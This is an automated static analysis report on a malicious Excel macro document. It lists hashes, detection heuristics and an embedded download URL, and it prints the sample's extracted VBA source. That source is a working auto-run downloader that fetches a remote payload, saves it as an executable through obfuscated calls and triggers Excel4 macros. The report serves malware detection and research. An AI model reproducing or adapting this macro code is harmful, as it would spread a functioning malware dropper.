Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 928f95edc0701ccb…

MALICIOUS

Office (OLE)

136.5 KB Created: 2019-07-18 19:19:14 Authoring application: Microsoft Excel First seen: 2020-09-24
MD5: 1e59fb7129724831af8c281234c77f1f SHA-1: 59e219b23a0b6e2364cdb961a79427edccc70ce9 SHA-256: 928f95edc0701ccbe8fadfaef6086798f6c13e73f071c79b96d0d82e510da499
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing VBA macros, including a Workbook_Open event and a call to ExecuteExcel4Macro. This indicates an attempt to execute code upon opening. The VBA code uses CreateObject and CallByName, and the heuristic 'OLE_VBA_ACTIVEX_XLM_STAGER' suggests it launches decoded Excel4 macros. The script likely downloads and executes a second-stage payload from one of the embedded unknown-reputation URLs, such as http://79.141.168.105/g2. The presence of cmd.exe invocation heuristics further supports the execution of arbitrary commands.

Heuristics 7

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    The compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Class1.Success1 = CreateObject(Class1.Label2.Tag)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    On Error Resume Next
CallByName Class5, "Show", VbMethod
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Sub WorkBook_open()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://79.141.168.105/g2� In document text (OLE body)
    • http://t2.symcb.com0In document text (OLE body)
    • http://tl.symcd.com0&In document text (OLE body)
    • http://t1.symcb.com/ThawtePCA.crl0In document text (OLE body)
    • http://tl.symcb.com/tl.crl0In document text (OLE body)
    • https://www.thawte.com/cps0/In document text (OLE body)
    • https://www.thawte.com/repository0WIn document text (OLE body)
    • http://tl.symcb.com/tl.crt0In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3144 bytes
SHA-256: af10bbad33b7d7b18b7331836b5c5826055ebcd33cec0ee9b0e010d95fea2906
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
On Error Resume Next
CallByName Class5, "Show", VbMethod



End Sub





Attribute VB_Name = "CodeBlock"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub MethodENG()
Dim time
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")

ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
#If STDIN Then

Dim RRvel0_5
Dim RRvel0_6
Dim RRvel0_7
Dim RRvel0_9
Dim RRvel0_8
Dim RRvel0_11
Dim RRvel0_12


#End If


Set Class1.Success1 = CreateObject(Class1.Label2.Tag)

Dim fUP:  fUP = 0
CallByName Class1, "Mistake1", VbSet, CreateObject(Class1.TextBox1.Caption)
Dim fDOWN:  fDOWN = 0
End Sub




Attribute VB_Name = "Modu"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Sub Attention()

CodeBlock.MethodENG


Dim RRvel0_4
Dim RRvel0_3
Class1.Label5_Click
Class1.Mistake1.Send

With Class1.Success1
    .Type = 1
End With
    Class1.Success1.Open
With Class1.Success1
    .write Class1.Mistake1.responseBody

End With
#If STDOUT Then
    CallByName Class1.Success1, "savet" & "ofile", VbMethod, "wrnglr.e" & "" + "xe", 2

#End If

ExecuteExcel4Macro Class1.T10_Text.Text
ExecuteExcel4Macro "MESSAGE(False, ""Studio Marv"")"
End Sub


Attribute VB_Name = "Class1"
Attribute VB_Base = "0{F7AC4968-62AC-4BD1-820B-D2F1770E59D4}{B5B5B634-BFB0-4B69-8F10-C5D26F205E24}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
 Public Success1 As Object
Public Mistake1 As Object
 Public Success2 As Object
Public Mistake2 As Object
 Public Success3 As Object
Public Mistake3 As Object



Public Sub Label5_Click()
Dim RRvel0_5
Mistake1.Open Me.Label3.Caption, Me.T10_Text.Tag, False
Dim RRvel0_6
End Sub

Public Sub S1000()

End Sub
Public Sub frfr4()

End Sub



Attribute VB_Name = "Class5"
Attribute VB_Base = "0{F6F2BF75-30AA-412F-AADD-7C810ACD00AB}{D37C3673-EE3C-45F4-85E9-18924CDE8BEF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Sub FUnt()
Dim rd1 As New Modu
rd1.Attention

End Sub

Private Sub UserForm_Initialize()

FUnt
Unload Me
End Sub

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